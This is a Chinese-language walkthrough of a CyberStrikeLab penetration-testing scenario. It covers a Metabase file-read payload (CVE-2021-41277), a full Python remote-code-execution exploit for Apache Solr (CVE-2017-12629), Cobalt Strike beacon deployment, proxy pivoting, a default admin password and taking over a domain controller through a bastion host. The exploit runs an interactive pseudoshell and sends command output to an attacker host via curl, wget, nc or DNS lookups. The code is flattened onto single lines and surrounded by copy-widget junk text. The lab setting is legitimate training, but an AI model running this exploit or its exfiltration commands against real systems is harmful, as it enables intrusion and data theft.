
3000端口metabase,0.4.0版本,有两个漏洞符合版本CVE-2021-41277和CVE-2023-38646

CVE-2023-38646需要setup-token,用不了

利用CVE-2021-41277
ounter(line
http://10.8.8.5:3000/api/geojson?url=file:////etc/passwd
ssh连接

存活主机扫描得到10.8.8.8,访问8983端口为solr

直接使用exp getshell
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
from urllib.parse import quote as urlEncodeimport requestsimport randomimport urllib3from urllib3.exceptions import InsecureRequestWarningimport argparse
# Suppress the InsecureRequestWarning specificallyurllib3.disable_warnings(InsecureRequestWarning)
################### HELPER FUNCTIONS##################def createUrlForPayload(payload: str, urlBaseExternal: str): baseUrl = f"{urlBaseExternal}/page.aspx/en/PAYLOAD?ReturnUrl=/page.aspx/en/buy/homepage" # replace PAYLOAD #urlForPayload = baseUrl.replace("PAYLOAD", urlEncode(payload)) urlForPayload = baseUrl.replace("PAYLOAD", payload) return urlForPayload
def executeCommand(urlBaseExternal: str, urlBaseInternal: str, commandBinary: str, commandArgs: list[str], commandCurDir: str): # Create New collection collectionName = f"collection{random.randint(100000000000, 999999999999)}" requests.get( url=createUrlForPayload( payload="""{!xmlparser v='<!DOCTYPE a SYSTEM "URL_BASE_INTERNAL/admin/collections?action=CREATE&name=COLLECTION_NAME&numShards=2"><a></a>'}""".replace("URL_BASE_INTERNAL", urlBaseInternal).replace("COLLECTION_NAME", collectionName), urlBaseExternal=urlBaseExternal ), verify=False ) print(f"New collection created: '{collectionName}'")
# Add a new RunExecutableListener listenerName = f"listener{random.randint(100000000000, 999999999999)}" commandArgsProcessed = str(commandArgs).replace("'","\"") streamBodyInPayload = urlEncode("""{"add-listener":{"event":"postCommit","name":"LISTENER_NAME","class":"solr.RunExecutableListener","exe":"COMMAND_BINARY","dir":"COMMAND_CUR_DIR","args":COMMAND_ARGS}}""".replace("LISTENER_NAME", listenerName).replace("COMMAND_BINARY", commandBinary).replace("COMMAND_CUR_DIR", commandCurDir).replace("COMMAND_ARGS", commandArgsProcessed))
requests.get( url=createUrlForPayload( payload="""{!xmlparser v='<!DOCTYPE a SYSTEM "URL_BASE_INTERNAL/newcollection/select?q=xxx&qt=/newcollection/config?stream.body=STREAM_BODY&shards=SHARDS/"><a></a>'}""".replace("URL_BASE_INTERNAL", urlBaseInternal).replace("STREAM_BODY", streamBodyInPayload).replace("SHARDS", urlBaseInternal.lstrip("http://").lstrip("https://")), urlBaseExternal=urlBaseExternal ), verify=False ) print(f"New RunExecutableListener created: '{listenerName}'")
# Update "newcollection" to trigger execution of RunExecutableListener randomId = f"id{random.randint(100000000000, 999999999999)}" streamBodyInPayload = urlEncode('[{"id":"RANDOM_ID"}]'.replace("RANDOM_ID", randomId))
requests.get( url=createUrlForPayload( payload="""{!xmlparser v='<!DOCTYPE a SYSTEM "URL_BASE_INTERNAL/newcollection/update?stream.body=STREAM_BODY&commit=true&overwrite=true"><a></a>'}""".replace("STREAM_BODY", streamBodyInPayload).replace("URL_BASE_INTERNAL", urlBaseInternal).replace("ID_UPDATE", randomId), urlBaseExternal=urlBaseExternal ), verify=False ) print(f"Updating collection's ID to '{randomId}' to trigger command execution")
####### MAIN######
if __name__ == "__main__": parser = argparse.ArgumentParser() parser.description = "POC for CVE-2017-12629 (RCE via internal SSRF via XXE) by @realCaptainWoof" parser.add_argument("-ue", "--url-base-external", help="External URL base of the vulnerable application; e.g, 'https://vulnerable.app/solr'", action="store", required=True) parser.add_argument("-ui", "--url-base-internal", help="Internal URL base of the vulnerable application; e.g, 'https://127.0.0.1:8983'; default: 'https://127.0.0.1:8983'", action="store", required=True, default="https://127.0.0.1:8983") parser.add_argument("-b", "--bin", help="How to exfiltrate command output from target; default: 'curl'", choices=["curl", "wget", "ftp", "ping", "nc", "ncat", "nslookup", "dig"], default="curl", action='store') parser.add_argument("-e", "--exfil", help="Destination to exfil to. Make sure this corresponds to '--bin'; e.g, if '--bin' is 'curl', '--exfil' can be 'http://EXFIL.myserver.com/EXFIL'. Must specify injection point via 'EXFIL' keyword.", required=True) parser.add_argument("-f", "--exfil-format", help="Format in which to exfil the command output; default: 'base32'", choices=["hex", "base32"], default="base32") args = parser.parse_args()
if "EXFIL" not in args.exfil: print("'--exfil' needs EXFIL keyword. Use '--help'.") exit(0)
# Start pseudoshell try: while True: commandToExecute = input("$ ") # May contain args, no problem
# Decide how to exfil command output commandArgEmbedded = "" exfilDestination = "" if args.exfil_format == "hex": exfilDestination = args.exfil.replace("EXFIL", f"$({commandToExecute} | xxd -p | tr -d '\\n')") else: exfilDestination = args.exfil.replace("EXFIL", f"$({commandToExecute} | base32 -w 0 | tr -d '=\\n')") if args.bin == "curl": commandArgEmbedded = f"curl -k -s {exfilDestination}" elif args.bin == "wget": commandArgEmbedded = f"wget -q --spider --no-check-certificate {exfilDestination}" elif args.bin == "ftp": commandArgEmbedded = f"echo \"quit\" | ftp -n -q 5 {exfilDestination}" elif args.bin == "ping": commandArgEmbedded = f"ping -c 1 -W 5 {exfilDestination}" elif args.bin == "nc": commandArgEmbedded = f"nc -z -w 5 {exfilDestination}" elif args.bin == "ncat": commandArgEmbedded = f"ncat -z -w 5 {exfilDestination}" elif args.bin == "nslookup": commandArgEmbedded = f"nslookup {exfilDestination}" elif args.bin == "dig": commandArgEmbedded = f"dig {exfilDestination}"
# Need to try multiple times to succeed because OOB DNS exfiltration is finnicky (though command should get executed after just one attempt) for tryNum in range(0, 9): print(f"> Attempt #{tryNum + 1}") executeCommand( urlBaseExternal = args.url_base_external, urlBaseInternal = args.url_base_internal, commandBinary="sh", commandArgs=["-c", f"\"{commandArgEmbedded}\""], commandCurDir="/tmp" ) except KeyboardInterrupt: print("[+] Pseudoshell quit")上线cs

根据提示,用python起一个http服务

rdp上桌面安装python

使用tcp beacon

注意改名为cslab.exe


做双层代理


admin/123456进后台



发现堡垒机控制DC,且直接保存了账号密码,这里通过堡垒机直接rdp拿下

靶场地址:
https://www.cyberstrikelab.com/#/scene/detail/51